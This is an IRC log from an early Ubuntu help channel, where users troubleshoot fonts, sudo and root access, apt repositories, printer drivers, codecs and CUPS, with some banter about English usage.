[11:13] <topyli> RuffianSoldier: xgalaga still doesn't work properly with polypaudio or esd, so ubuntu is no better than the others for THE ESSENTIAL app i'm using ;)
[11:14] <RuffianSoldier> ic
[11:14] <RuffianSoldier> i sayd ust about everyting
[11:14] <RuffianSoldier> just^
[11:15] <wu_ming> how do i install a ttf font?
[11:15] <topyli> RuffianSoldier: i'm just kidding. actually i do have more important uses for computers than Galaga
[11:15] <RuffianSoldier> apt-cache search ttf
[11:16] <wu_ming> err what does that comman do precisly?
[11:16] <RuffianSoldier> it searches for any file that has anything to do with ttf
[11:17] <wu_ming> which directory does it search
[11:17] <RuffianSoldier> the internet
[11:17] <wu_ming> ie which dir should i put my ttf file
[11:17] <RuffianSoldier> here
[11:17] <wu_ming> internet?
[11:17] <RuffianSoldier> do that command
[11:17] <wu_ming> i have my own ttf files though
[11:17] <RuffianSoldier> aaah
[11:17] <RuffianSoldier> then i dont know, but apt-get will do it for you
[11:18] <wu_ming> ok thanks
[11:18] <RuffianSoldier> like if you do apt-cache search ttf, and it says ttf-font, then you type sudo apt-get install ttf-font
[11:18] <RuffianSoldier> and when it prompts for password, just type the password of the user your logged onto
[11:20] <topyli> wu_ming: put your fonts in $HOME/.fonts and GNOME apps will see them
[11:21] <RuffianSoldier> oh ya, duh
[11:21] <topyli> gone :(
[11:21] <RuffianSoldier> im not sure
[11:22] <RuffianSoldier> maybe he realized the power of apt-get and is having a blast
[11:22] <Inode> Not everything works well with Ubuntu....
[11:22] <Inode> I see some users that are ubuntu incompatible
[11:22] <Inode> IBM Problems
[11:22] <Inode> Idiot Behind Machine
[11:22] <RuffianSoldier> IBM is lame, PPC is lame
[11:22] <topyli> RuffianSoldier: apt won't install random truetype fonts. even apt's powers are limited
[11:23] <RuffianSoldier> ya, i figured it would not find that
[11:23] <Inode> IBM is an Acronym m8
[11:23] <jdub> topyli: sure it will
[11:23] <RuffianSoldier> i know a good amount about apt,specially cuz of some of the stuff i did
[11:24] <topyli> jdub: well after you make a package of course
[11:24] <RuffianSoldier> topyli, im not sure you know what your talking about
[11:24] <RuffianSoldier> im going to sleep now
[11:24] <RuffianSoldier> goodnight
[11:25] <topyli> wu_ming had downloaded some random truetype fonts and wanted to install them. i guess it was not a debian package
[11:34] <thisfred> Inode: It would only be an acronym if IBM spelt a word
[11:36] <thoreauputic> dict acronym: jargon> An identifier formed from some of the letters (often
[11:36] <thoreauputic>     the initials) of a phrase and used as an abbreviation.
[11:37] <thoreauputic> thisfred: I don't think it needs to be a word in itself
[11:37] <Treenaks> like USA PATRIOT ?
[11:38] <Keybuk> my understanding is that Acronyms have to be words, and that IBM is just an abbreviation
[11:39] <the_one> hi
[11:39] <gilead_> I need to install some driver for my canon LBP-1120 i fund the driver for it but its from canon japan and the page is in japanese i translated it with babelfish and it give me 3 option for download a CUPS driver, LIPS4, CAPT.... which one do i want as a gnome printer driver?
[11:39] <thoreauputic> Keybuk: well. It seems the dictionary disagrees. That's why I checked - I was interested
[11:40] <gilead_> did anyone see that??
[11:40] <Keybuk> thoreauputic: which dictionary did you use?
[11:40] <gilead_> i had a problem before what ever command i did or what ever i said was not sent to the server
[11:40] <gilead_> hey Keybuk
[11:41] <thoreauputic> Keybuk: I just ran "dict" - I think it's a US dictionary, so Oxford Dictionary may be different for instance
[11:41] <topyli> gilead_: we see you. get the cups driver
[11:41] <Keybuk> yeah, Oxford says "word made from initial letters of other words"
[11:41] <gilead_> you saw me before?
[11:41] <the_one> I'm new to ubuntu, it looks great, and I want to use it as my main desktop os, but I have a few questions, am I at the right place for asking questions?
[11:41] <thoreauputic> Keybuk: aha - thanks that's interesting
[11:42] <gilead_> thanks
[11:42] <topyli> gilead_: how long ago? i saw you as you asked your question ten minutes ago
[11:42] <Keybuk> it might be a British/Merkin difference, or it could be just that nobody remembers the rule anymore and it's fading out
[11:43] <Keybuk> (or both ... given half the differences seem to be American English missing various rules)
[11:43] <mercurus> the_one: definately, although the FAQ might already have the answer ?
[11:43] <stvn> the_one: yes
[11:43] <thoreauputic> Keybuk: the US dict is based on quite an old Webster's I think 1913 or something
[11:43] <gilead_> topyli, then why didn't you answer?
[11:44] <mercurus> gilead_: you posted on the unoffical forum, right ? have you looked at linuxprinting.org ?
[11:44] <topyli> gilead_: was shaving :)
[11:44] <gilead_> no?
[11:45] <Keybuk> ice vs. ise  being one of the rules that immediately springs to mind.  In English, the former represents a noun and the latter a verb.  advice/advise, licence/license, etc.
[11:45] <mercurus> effect/affect
[11:45] <housetier> that's different words
[11:45] <thoreauputic> Keybuk: yes, I'm in Australia and I use British spelling
[11:45] <mercurus> thoreauputic: amen. :)
[11:46] <thoreauputic> mercurus: effect and affect have quite separate meanings
[11:46] <topyli> thoreauputic: i use finnish spelink
[11:46] <thoreauputic> topyli: ;)
[11:46] <the_one> I want to add the debian-marrilat source to my sources.list, in other distros I logged as root and edited the sources list, but I just can't seem to do the same, I tried to edit the file but it's in read-only, so how can I get full access to edit any file without using the console?
[11:47] <stvn> the_one: sudo gedit /etc/apt/sources.list
[11:47] <the_one> I mean generally
[11:47] <mercurus> ... affect is the verb for the noun effect ... I affected it, by putting it into effect.
[11:47] <topyli> the_one: use sudo
[11:47] <stvn> the_one: sudo
[11:47] <the_one> yeah, but isn't there any way of doing it with the gui?
[11:47] <the_one> just as a curiosity
[11:48] <thoreauputic> mercurus: wrong. Look it up. Common mistake
[11:48] <mercurus> the_one: go to Applications -> System Tool -> run as different user
[11:48] <mercurus> thoreauputic: explain the difference ?
[11:48] <stvn> the_one: sudo vi ;)
[11:48] <thoreauputic> mercurus: affect can also be a noun: the "affect" refers to feeling
[11:49] <the_one> i tried that, it choose root, then I put my password and it says it's the wrong password!
[11:49] <stvn> the_one: there is gksudo or something like that
[11:49] <topyli> the_one: open a terninal and run your graphical program with 'sudo graphical_program'
[11:49] <thoreauputic> mercurius: to affect something is a verb, but you can als "effect" something - differnet meanings
[11:49] <topyli> the_one: or use the menu entry mercurus told you about
[11:50] <mercurus> actually, that won't work .. it asks for root's password ...
[11:50] <the_one> well..yeah
[11:50] <topyli> mercurus: oh, so it seems :)
[11:50] <the_one> so what is the root password? it sure isn't my user password
[11:51] <the_one> :)
[11:51] <b_e_n_z> no root
[11:51] <topyli> the_one: root is disabled
[11:51] <yann__> to change is, just du sudo passwd
[11:51] <b_e_n_z> sudo -s, type your password and you get a root shell
[11:51] <topyli> the_one: to enable, give root a password with sudo
[11:51] <thoreauputic> mercurus: "I effected a change which affects you "  "The effect of the change is profound"
[11:51] <the_one> why does it appear there then?
[11:51] <the_one> if it should be disabled
[11:52] <the_one> ?:)
[11:52] <mercurus> thoreauputic: the second example isn't using "effect" as a verb ...
[11:53] <topyli> the_one: root must always exist. it just cannot log in in ubuntu
[11:53] <the_one> ok
[11:53] <the_one> thanks
[11:53] <thoreauputic> mercurus: to effect= to bring about  an effect= resuly of something
[11:53] <thoreauputic> *result
[11:53] <the_one> sorry for too many noob questions..
[11:54] <mercurus> thoreauputic: yeah, I'm looking at that one ... its news to me ... but the second example wasn't an example using a verb ...
[11:54] <elvstone> hello, i'm trying to install transcode from the marillat repository, but i'm getting this: http://dose.se/~elvis/tmp.png, anyone know what i can do about it?
[11:54] <topyli> the_one: that's the kind of questions newbies ask, no problem there :)
[11:54] <thoreauputic> mercurus: it's confusing in that both can be used as verbs AND nouns
[11:54] <thoreauputic> but the meanings vary
[11:54] <the_one> when I just did sudo gedit /etc/apt/sources.list I got also a message I/O warning : failed to load external entity "/root/.gnome2/gedit-metadata.xml"
[11:55] <the_one> is something wrong?
[11:56] <topyli> the_one: if gedit works, don't mind it. it's probably because root just ran gedit for the first time and the file didn't exist yet
[11:56] <the_one> ok
[11:56] <huttan> anyone know how to make ubuntu boot on a new kernel when using SATA disks ?
[11:57] <the_one> thanx again
[11:57] <elvstone> has anyone successfully installed transcode from the marillat repository? all i'm getting from googling is that i should install it from the marillat repository, but i'm getting unresolved dependencies (http://dose.se/~elvis/tmp.png)..
[11:58] <topyli> elvstone: your url gives a 404
[11:58] <gilead_> ok thanks
[11:58] <gilead_> bye
[11:59] <elvstone> topyli: hm, that's strange, not for me (tested from an outside machine too)..
[11:59] <Pizbit> Works here
[11:59] <Pizbit> elvstone: Have you enabled universe , restricted and multiverse
[12:00] <elvstone> Pizbit: on the marillat repository?
[12:00] <Pizbit> No, for ubuntu
[12:00] <eruditus> How do I change my DNS servers permanently? I used the Network configuration tool a couple of times and it didn't work...
[12:00] <topyli> elvstone: oh, the first link work, the latter got the end-of-sentence period in it :)
[12:00] <elvstone> Pizbit: hm, i think i tried that before, i'll try again.
[12:00] <the_one> the marrilat source works..thanks you for being friendly and helpful...unlike other people in other distro's IRC channel.
[12:00] <elvstone> topyli: ah.
[12:00] <huttan> Anyone good with ubuntu+sata disks ?
[12:01] <eruditus> How do I change my DNS servers permanently? I used the Network configuration tool a couple of times and it didn't work...
[12:01] <challange> re
[12:01] <Pizbit> eruditus: /etc/resolv.conf
[12:01] <mercurus> thoreauputic: I bow down to your superior liguistic prowess ...
[12:01] <mercurus> *linguistic
[12:01] <Pizbit> nameserver <ip addy>
[12:02] <mercurus> that said, the verb/noun rule is a useful rule of thumb because the exceptions are quite limited in scope
[12:02] <elvstone> Pizbit: okay, that helped some, the unresolved dependencies are not that many now.. just libjasper, libpng and libquicktime..
[12:03] <mercurus> to effect is limited almost exclusively to legal jargon relating to the promulgation of acts of parliament, and the affect noun is purely emotional ...
[12:03] <eruditus> Pizbit, already changed it, but the network tool doesn't accept it.
[12:03] <elvstone> Pizbit: http://dose.se/~elvis/sources.list <-- this is what i have now.. hm.
[12:03] <thoreauputic> mercurus: well, this is one of my pet pedantic peeves: very few people use thes words correctly :)
[12:04] <mercurus> my greatest peeve is the absence of, or the incorrect use of prepositions ...
[12:04] <Pizbit> elvstone: Erm, you havn't uncommented them
[12:04] <mercurus> "I bought a couple apples" or "those are the apples I bought a couple of"
[12:04] <mercurus> grr.
[12:05] <eruditus> Pizbit: already changed it, but the network tool doesn't accept it.
[12:05] <Pizbit> eruditus: Don't parrot:P
[12:05] <elvstone> Pizbit: but i have deb http://archive.ubuntu.com/ubuntu/ warty main restricted universe multiverse and deb-src http://archive.ubuntu.com/ubuntu/ warty main restricted universe multiverse, isn't that enough?
[12:05] <thoreauputic> mercurus: hehe - this is the kind of thing up with which I will not put!
[12:05] <eruditus> Pizbit: ie. the network tool keeps other values even tho I change them daily.
[12:06] <elvstone> Pizbit: do i need the security.ubuntu.com ones too?
[12:06] <topyli> Pizbit: but he does have universe and multiverse on the uncommented lines
[12:06] <mercurus> thoreauputic: I don't like "this" either :P
[12:06] <elvstone> Pizbit: sorry, i'm a fbsd guy, never used apt before.
[12:06] <spikeb> how'd ya like them apples
[12:06] <mercurus> and Shakespeare ... he had nothin'. :P
[12:06] <thoreauputic> what is your objection to "this" ? :)
[12:06] <topyli> elvstone: what if you try the marillat testing repository instead of unstable?
[12:07] <elvstone> topyli: hm, i'll try.
[12:07] <Pizbit> elvstone: I'd advise uncommenting the security ones myself
[12:07] <mercurus> thoreauputic: the number of essays I've read in which "this" is attempting to serve as a sentence's object, and refers to nothing I can identify ...
[12:07] <Pizbit> elvstone: Is it only the quicktime bit complaining now?
[12:08] <thoreauputic> mercurus: I see :) Teacher?
[12:08] <mercurus> thoreauputic: student
[12:08] <linux_galore> hmm
[12:08] <Pizbit> elvstone: change unstable in the marillat lines to testing
[12:08] <elvstone> Pizbit: quicktime and libjasper, using testing from marillat brought it down to two unresolved dependencies.
[12:08] <topyli> mercurus: "the attack of the giant THIS"
[12:08] <eruditus> Pizbit: >System Config ->Networking doesn't report the values that I've put into resolv.conf. Changed those, but it's still not using them (the connection is much MUCH faster when it does). anything else I can change?
[12:08] <elvstone> hm, and it complained there was no Sources.gz for marillat testing.
[12:08] <mercurus> topyli: this is the problem ... you see ?
[12:09] <mercurus> :P
[12:09] <thoreauputic> mercurus: former English BA (Hons) ... long time ago though.
[12:09] <elvstone> i'll try uncommenting the security ones..
[12:09] <topyli> mercurus: yep, this is quite ridiculous really :)
[12:09] <Pizbit> elvstone: Those shouldn't affect what you're trying to do but it's good to have them.
[12:09] <mercurus> thoreauputic: ah ... pol sci BA (hons - next year) and an LLB half-done
[12:09] <the_one> one other question, I just installed ubuntu on my averatec laptop (prosavageddr) and I get the right resolution but not screen colors, I think I have 16bit colors, although in my xf86config-4 the default is 24bit, I even removed 16bit mode, but still no success. Could this be an xfree issue? Likely to be resolved with x.org in the next release?
[12:10] <eruditus> Well, whatever... I'll try to work it on my own, or in the debian channel...
[12:10] <elvstone> Pizbit: okay.
[12:10] <huttan> anyone experienced with ubuntu and SATA disks ?
[12:10] <Pizbit> elvstone: I only have one unmet dependency when I try here
[12:10] <thoreauputic> mercurus: ah - Arts-Law   Which University?
[12:11] <elvstone> Pizbit: hm, okay, i have "Depend: libjasper-1.701-1 but it is not installable" and "Depend: libquicktime1 but 0.9.2release-5 is to be installed"
[12:11] <elvstone> Pizbit: hm, maybe that is just one and i'm interpreting it wrong.
[12:12] <elvstone> Pizbit: is libjasper failing because libquicktime fails here?
[12:12] <elvstone> Pizbit: libquicktime is below libjasper in the list, and is indented one char..
[12:12] <ElVirolo> hi all
[12:13] <gilead_> ok i am tring to build the printer driver for my friend
[12:13] <gilead_> but i get this error:
[12:13] <gilead_> **Error**: You must have `gettext' installed.
[12:13] <gilead_> Get ftp://alpha.gnu.org/gnu/gettext-0.10.35.tar.gz
[12:13] <gilead_> (or a newer version if it is available)
[12:13] <Pizbit> elvstone: To be honest I havn't a clue heh, you might need to add in temporary the main debian archive for sarge or even sid for it
[12:14] <gilead_> I have Gettext installed! but version 0.16 and i think the latest in its time was 0.10
[12:14] <topyli> elvstone: if you do that, remove it instantly after you get transcode
[12:14] <elvstone> Pizbit: hm, yes.. i'll try something like that.
[12:14] <ElVirolo> i suppose hundreds of people have already asked this question but ... is it possible to install KDE 3.3 on Ubuntu apart from compiling it from source?
[12:14] <gilead_> there is a glade project file for it is it easy for someone who doesn't know howto program to update its make scriptd?
[12:15] <Pizbit> ElVirolo: Yes, from the main debian respository
[12:15] <Pizbit> ElVirolo: Of course it could break your system, but heyyy:)
[12:15] <gilead_> ElVirolo, add universe to your source.list and apt-get it
[12:15] <Pizbit> gilead_: That's 3.2 I believe
[12:15] <paperflake> lol
[12:15] <challange> why do you need kde?
[12:15] <paperflake> tis a lot o ppl
[12:15] <gilead_> Pizbit, no 3.3 is in sid and hoary
[12:15] <ElVirolo> Pizbit: lol, i already tried that and it did break my system, of course
[12:15] <ElVirolo> yeah, tis 3.2
[12:15] <Pizbit> gilead_: We're talking warty here
[12:16] <gilead_> KDE SUCKS!
[12:16] <Pizbit> gilead_: foad
[12:16] <paperflake> ahhh
[12:16] <Pizbit> paperflake: Hey:)
[12:16] <paperflake> hi Pizbit
[12:16] <gilead_> warty is old! out of date we all now howto fix up a broke system don't we? and we all have ;)
[12:16] <gilead_> so back to my problem
[12:16] <Riddell> ElVirolo: I have KDE 3.3 packages
[12:17] <Riddell> "deb http://jasmine.19inch.net/~jr/away/ubuntu/ unstable main"
[12:17] <Pizbit> gilead_: Actually no, most people trying hoary that I've seen complain and ask for help about fixing stuff
[12:17] <topyli> gilead_: is gnome 2.8 in sid yet?
[12:17] <gilead_> Pizbit, yes
[12:17] <gilead_> wait in experimental
[12:17] <ElVirolo> Riddell: thk you so much!
[12:17] <dredg> im using hoary. i have had no problems, well, none that i cant fix myself
[12:18] <gilead_> Pizbit, what error i update the first min it was out of the topic and had NO BROKE PACKAGES
[12:18] <dredg> nothing major at any rate
[12:18] <Riddell> ElVirolo: tell me how you get on, they arn't 100% tested so there may be dependency problems
[12:18] <Pizbit> gilead_: Uhm, so?
[12:18] <topyli> gilead_: 2.9 packages are landing on hoary
[12:18] <the_one> bye
[12:18] <Pizbit> gilead_: If you look at the user list or pay much attention here you'd see that a number of people aren't prepared.
[12:18] <gilead_> Pizbit, but udev is stuff so i am not rebooting
[12:19] <gilead_> so can we go back to my problem that i can go home?
[12:19] <paperflake> lol
[12:19] <Pizbit> gilead_: alt+f1 and type in ~/..
[12:19] <Pizbit> er, alt+f2
[12:19] <gilead_> Pizbit, as long as you only upgrade the right stuff you'll be okay
[12:19] <gilead_> why?
[12:19] <Pizbit> You wanted to go home.
[12:19] <gilead_> i am in x so ctrl+....
[12:20] <paperflake> lmao
[12:20] <gilead_> LOL
[12:20] <Pizbit> That'll get you to /home/
[12:20] <gilead_> LOL
[12:20] <paperflake> so any one like warty so far ?
[12:20] <gilead_> ok i am tring to build the printer driver for my friend
[12:20] <Pizbit> paperflake: Yeah, lots of people do
[12:20] <gilead_> but i get this error:
[12:20] <gilead_> **Error**: You must have `gettext' installed.
[12:20] <gilead_> Get ftp://alpha.gnu.org/gnu/gettext-0.10.35.tar.gz
[12:20] <gilead_> (or a newer version if it is available)
[12:20] <challange> why can't I play az mp3 file?
[12:20] <challange> from dvd
[12:20] <gilead_> must i re ask it!
[12:20] <Pizbit> gilead_: So install it.
[12:21] <challange> it is trying to play it with the video player
[12:21] <gilead_> I HAVE GETTEXT INSTALLED AS I SAID
[12:21] <gilead_> opps caps lock
[12:21] <paperflake> hmm sounds like it is going to be fun ?!
[12:21] <challange> and the music player does not do anything
[12:21] <gilead_> read the rest as above
[12:22] <Pizbit> gilead_: gettext and gettext-base are installed? Perhaps the version in ubuntu is too new:)
[12:22] <gilead_> Pizbit, i said that the version must be too new already
[12:22] <ElVirolo> g2g, thanks a lot guys
[12:22] <challange> sby
[12:22] <Pizbit> gilead_: Not while I was paying attention:)
[12:23] <gilead_> i will upgrade gettext
[12:23] <paperflake> does that evolution on gnome work well ?
[12:23] <topyli> gilead_: face it, the driver is b0rken
[12:23] <Pizbit> topyli: Yeah, I reckon
[12:24] <Pizbit> gettext is 0.14.1 in ubuntu, that driver is thinking 0.10.35
[12:24] <Pizbit> paperflake: It works as well as evolution works
[12:24] <gilead_> topyli, well it GPL i wonder why no add it into ubuntu by deafult and fixed it
[12:24] <paperflake> Pizbit: that dun help me lol
[12:25] <gilead_> Pizbit, so how do i edit it that it look for 0.14.1
[12:25] <Pizbit> paperflake: Well, if you like evolution and know how to get around how convoluted it is, then yes it works well, however...
[12:25] <paperflake> any1 got exp. with evolution and exchange ?
[12:25] <Pizbit> gilead_: NFC
[12:25] <gilead_> NFC?
[12:25] <topyli> gilead_: perhaps you should maintain the driver, you have the motivation ;)
[12:25] <Pizbit> No F Clue
[12:25] <gilead_> there are a few .glade files
[12:26] <gilead_> Pizbit, i have been messing with the driver and i know what part of the script calls it
[12:27] <gilead_> you know bash you can edit it
[12:27] <Pizbit> gilead_: I care deeply
[12:27] <attitude> Anyone useing ubuntu on a Athlon 64
[12:27] <gilead_> i will paste it here for anyone how knows howto
[12:27] <paperflake> bbl when i got the ISO downloaded
[12:27] <gilead_> it a bit long
[12:27] <Mithrandir> attitude: yes, why?
[12:27] <gilead_> grep "^AM_GLIB_GNU_GETTEXT" $srcdir/configure.in >/dev/null && {
[12:27] <gilead_>   grep "sed.*POTFILES" $srcdir/configure.in >/dev/null || \
[12:27] <gilead_>   (glib-gettextize --version) < /dev/null > /dev/null 2>&1 || {
[12:27] <gilead_>     echo
[12:27] <gilead_>     echo "**Error**: You must have \`gettext' installed."
[12:27] <gilead_>     echo "Get ftp://alpha.gnu.org/gnu/gettext-0.10.35.tar.gz"
[12:27] <gilead_>     echo "(or a newer version if it is available)"
[12:27] <gilead_>     DIE=1
[12:27] <gilead_>   }
[12:27] <Pizbit> gilead_: READ THE TOPIC!
[12:27] <gilead_> }
[12:28] <gilead_> grep "^AM_GNOME_GETTEXT" $srcdir/configure.in >/dev/null && {
[12:28] <gilead_>   grep "sed.*POTFILES" $srcdir/configure.in >/dev/null || \
[12:28] <attitude> Mithrandir: Anythings I should look out for when i go to do my install today
[12:28] <gilead_>   (gettext --version) < /dev/null > /dev/null 2>&1 || {
[12:28] <gilead_>     echo
[12:28] <gilead_>     echo "**Error**: You must have \`gettext' installed."
[12:28] <gilead_>     echo "Get ftp://alpha.gnu.org/gnu/gettext-0.10.35.tar.gz"
[12:28] <gilead_>     echo "(or a newer version if it is available)"
[12:28] <Mithrandir> attitude: it's supposed to just work.
[12:28] <gilead_>     DIE=1
[12:28] <gilead_>   }
[12:28] <gilead_> }
[12:28] <gilead_> ok that it
[12:28] <topyli> aargh! flood! STOP IT
[12:28] <gilead_> Pizbit, what topic
[12:28] <attitude> Mithrandir: what motherboard you use
[12:28] <gilead_> OHHHHH ****
[12:28] <gilead_> ok pastebin here i come
[12:28] <Mithrandir> attitude: Epox HDA3+
[12:28] <Pizbit> gilead_: Uhm, you just alienated the whole channel, I don't think anyone's going to look at the pastebin
[12:29] <attitude> Mithrandir: ok I am using an abit
[12:29] <attitude> thanks for the help
[12:29] <daniels> gilead_: please don't do that again
[12:30] <Acridien> i got this error when launching Savage ImportError: libtiff.so.3: cannot open shared object file: No such file or directory
[12:30] <Acridien> do I miss a dependency ?
[12:31] <gilead_> http://www.pastebin.com/116439
[12:31] <gilead_> daniels, deal
[12:31] <daniels> gilead_: thanks
[12:32] <Acridien> hello
[12:33] <elvstone> Pizbit: adding debian testing repository for libquicktime1 seemed to work, thanks a lot.
[12:33] <Acridien> do someone has an idea about this issue when launching the game Savage   ImportError: libtiff.so.3: cannot open shared object file: No such file or directory
[12:33] <gilead_> so is a simple edit anyone know bash?
[12:33] <gilead_> elvstone, NOOOOOOOOOOOOOOOOOOOO!
[12:33] <Pizbit> elvstone: Remove it after it's done though, migth screw up an upgrade later if it's there
[12:33] <gilead_> elvstone, if you brake your system don't come cring to us/me
[12:34] <Pizbit> gilead_: Release, it's only libquicktime and transcode, hardly anything that's gonna break the system, note the spelling of break.
[12:34] <gilead_> Pizbit, why not get him to download the debs from packages.debian.org
[12:34] <Pizbit> gilead_: What's the difference?
[12:34] <Pizbit> There's the say files.
[12:35] <Pizbit> Er, They're
[12:35] <gilead_> elvstone, you know howto do a pin reset
[12:35] <gilead_> Pizbit, DEPENDECE
[12:35] <gilead_> big word
[12:35] <Pizbit> gilead_: Mind laying off the caps?
[12:35] <gilead_> but thinking they wound be the same
[12:35] <gilead_> both are uptodate
[12:36] <topyli> gilead_: it's better to temporarily add the repo and get the dependencies. the important thing is to not leave it there
[12:36] <Pizbit> elvstone: So anyway, enjoy transcode :)
[12:36] <gilead_> Pizbit, sorry the keymap is stuff and each time a push two key fast caps lock goes on it internal feature
[12:36] <Pizbit> gilead_: You still have to press enter to send each line.
[12:36] <gilead_> topyli, it better to download it from packages.debian.org
[12:37] <topyli> gilead_: huh? that's where apt downloads it anyway
[12:37] <Pizbit> topyli: You sound as confused as I.
[12:38] <gilead_> topyli, but the dependce don't come with it
[12:38] <topyli> i better go and see if my office is still there
[12:38] <Pizbit> gilead_: Erm, you need to look up on what a .deb is, once it's installed it doesn't matter where you got it from
[12:38] <gilead_> ok anyone want to help with my error?
[12:38] <gilead_> Pizbit, yea yea what ever
[12:39] <gilead_> Pizbit, i am sick and want to get this fixed that i can go home to bed
[12:39] <gilead_> http://www.pastebin.com/116439
[12:39] <Pizbit> Go home to bed then, you wont be fixing it in a hurry.
[12:39] <gilead_> is the pastebin
[12:39] <gilead_> Pizbit, i can't go home till its fixed
[12:39] <gilead_> the person wont give me one
[12:40] <gilead_> Pizbit, you know shell/bash?
[12:40] <gilead_> you want to do a quick change to it
[12:40] <Pizbit> No.
[12:43] <baluba> hi all
[12:43] <Pizbit> hey
[12:44] <gilead_> SHHH
[12:44] <gilead_> bye
[12:44] <gilead_> sneeking out
[12:47] <linux_mafia> anyone here using beagle?
[12:50] <Dr3w> Hello.
[12:51] <Dr3w> Does anyone know if t would be possible to start the install process of Ubuntu off from an already booted distro?
[12:51] <Dr3w> I would like to be able to boot into Gentoo 1.4 live CD, then start the Ubuntu linux installation from its own CD.
[12:52] <Dr3w> my beige G3 can't boot the Ubuntu CD, the beige G3 is supported by debian/linux kernel, so so long as I can get the isntaller working, it shoudl work.
[12:54] <Pizbit> Why can't it boot the cd?
[12:55] <Dr3w> the G3 uses an oldworld open firmware, so you have to boot to macos first, then use BootX to kick off a kernel.
[12:55] <Mithrandir> Dr3w: I suspect you want to talk to Kamion, but he's got a huge headache today, so I'm not sure he's around
[12:56] <Dr3w> everythign should work the same, once its booted.
[12:56] <mrjive> ciao baluba
[01:00] <sid77> Dr3w, doesn't work setting up bootx to boot a kernel in the ubuntu cd? (I'm on new world, so this could be a really stupid suggestion, just trying ;)
[01:01] <Acridien> with codecs does ubuntu mplayer come with ?
[01:01] <Acridien> which codecs
[01:01] <baluba> ciao mrjive
[01:01] <mercurus> Acridien: usually not the ones you're looking for ... you'll also want the win32-codecs package
[01:02] <Acridien> mercurus: I need to download them from their home site ?
[01:02] <Pizbit> Acridien: Have you visited the wiki about restricted formats?
[01:03] <Pizbit> Acridien: If you install the w32codecs pack from the marillat repository and use totem-xine you'll be fine
[01:03] <Acridien> Pizbit: I m used to mplayer
[01:04] <Pizbit> Acridien: Ah, then just the w32codecs package
[01:04] <Acridien> Pizbit: under fedora i had to set the codecs in /usr/codecs is it the same dr in ubuntu ?
[01:04] <Pizbit> Acridien: Huh? Just apt-get install w32codecs
[01:04] <mercurus> Acridien: just use apt-get install win32-codecs ... assuming you have the correct repository in your apt configuration
[01:05] <Acridien> Pizbit: i need codecs for .rmj
[01:05] <Pizbit> Acridien: Is that not in the w32codecs package? What's rmj anyway?
[01:05] <Acridien> Pizbit: realplayer thing
[01:05] <Pizbit> Ewww
[01:06] <Pizbit> sid77: It does get pasted an aweful lot eh?
[01:07] <|progenic|> is there anyway a newbie can contribute to ubuntu ?
[01:07] <sid77> Pizbit, yeah right! lol
[01:08] <Pizbit> weee, put some mp3s onto my mp3 player, 84.0KB free space left over:)
[01:09] <altan_> progenic, just using it to begin with is a contribution :)
[01:09] <altan_> you can also help with documentation, I believe
[01:09] <sid77> btw, nearly off topic: nobody knows what is happening to kaffe? I worked on it for a university project last year and since then, there were no changes in the homepage
[01:11] <mjr> it's seemed pretty slowed down to me, too, but I haven't really followed it too closely
[01:15] <ukasz> does anyone know what -dev debs I need to install in order to compile mplayer with xv output support?
[01:15] <Acridien> Pizbit: can you give me the adresse of marillat repository?
[01:15] <crimsun> ukasz: did you add the marillat lines?
[01:15] <ukasz> yes
[01:16] <Acridien> crimsun: what are the lines ?
[01:16] <crimsun> ukasz: did you run `apt-get build-dep mplayer-686' ?
[01:16] <ukasz> but there is some issue with mplayer dependencies
[01:16] <ukasz> crimsun: ok, I need to dig some man :P
[01:16] <Pizbit> deb ftp://ftp.nerim.net/debian-marillat/ testing main
[01:17] <phill> what was all this about w32codecs?
[01:19] <mercurus> is there an RSS feed aggregator available for ubuntu without the universal repository ? apt-cache reveals no love :(
[01:19] <Pizbit> phill: Getting them:)
[01:19] <Moof> mercurus: evolution does RSS, as does thunderbird
[01:19] <Pizbit> mercurus: What's wrong with using universe?
[01:20] <rsilva> It seems that I can't change the default printer even as root (I tried all: the gnome thing, the web cups administration and lpoptions). What should I do?
[01:20] <mercurus> Moof: aye, evolution is a bit heavy for what I'm looking to do ... although I should really use it.
[01:20] <phill> :( i just want divx/xvid. would vlc play them?
[01:20] <mercurus> Pizbit: I'm trying to keep this installation to the most common packages as a bit of a test
[01:20] <Moof> mercurus: I, persoanlly, use rawdog, btu I dont' think that's packaged for debian, let alone ubuntu
[01:28] <phill> :\
[01:28] <sid77> asd
[01:28] <mercurus> woah, back again :)
[01:28] <Ioda> hi to all
[01:33] <mercurus> can someone enlighten me as to how I 'refresh' my cups client's view of the network ?
[01:34] <mercurus> eg. I have a server with a cups printer on it, which my desktop ubuntu picks up when it boots up
[01:34] <mercurus> but I have a laptop that I connect and disconnect from the LAN, and I'd like to be able to print from it
[01:34] <phill> how can i create more virtual desktops?
[01:35] <mercurus> at the moment, when I reconnect the laptop, it can't see the server's printer until it reboots ... and I'd like to be able to keep the laptop running
[01:35] <mercurus> phill: right click on the desktop pager, preferences, number of desktops
[01:35] <phill> thanks :)
[01:36] <joolz> anyone know i rhythmbox can play asf streams?
[01:37] <Acridien> joolz: have you installed gstreamer ?
[01:37] <joolz> yes
[01:37] <joolz> which plugin does asf?
[01:38] <joolz> maybe i should mention that other streams do work (the radio stations default in RB)
[01:38] <Acridien> joolz: sorry i mix my knowledges
[01:38] <joolz> Acridien: huh?
[01:38] <Acridien> joolz: gstreamer has nothing to do with asf
[01:38] <joolz> oh... ok
[01:39] <Acridien> joolz: perhaps you need win32 codecs
[01:39] <joolz> should i install xmms? Or a pluging for RB?
[01:39] <Moof_> is there an RSS feed or mailing list for ubuntu-traffic?
[01:39] <Acridien> joolz: i will have a look wait
[01:39] <spiv> mako: ^
[01:39] <joolz> Acridien: ok, tx
[01:40] <jdub> Moof_: ubuntu-news; lists.ubuntu.com
[01:40] <Moof_> jdub: ta
[01:41] <linux_mafia> linux_galore, i love streamtuner too, pity the live365 plugin dosent have a .deb, but thats a small niggle
[01:42] <linux_galore> linux_mafia: I just compiled it..no bigie
[01:42] <linux_mafia> linux_galore, yeah me too
[01:42] <linux_galore> linux_mafia: amazed how stable it is for such a new app
[01:43] <linux_mafia> linux_galore, yep, ive not had one prob with it, it rules, heh
[01:43] <linux_galore> linux_mafia: Ive been listening to radio stations in Europe all week
[01:43] <mercurus> say I have an application I would like to add as a package for Ubuntu ... how do I go about it ? there appears to be no FAQ on the topic ?
[01:43] <Acridien> joolz: well I just had a look at gstreamer plugins pkg in universe , i don't see the one that handle asf
[01:44] <Acridien> joolz: try xmms i think
[01:44] <joolz> Acridien: ok, thanks!
[01:44] <Acridien> joolz: ask others perhaps I m wrong
[01:44] <linux_galore> mercurus: Ubuntu uses .deb packages
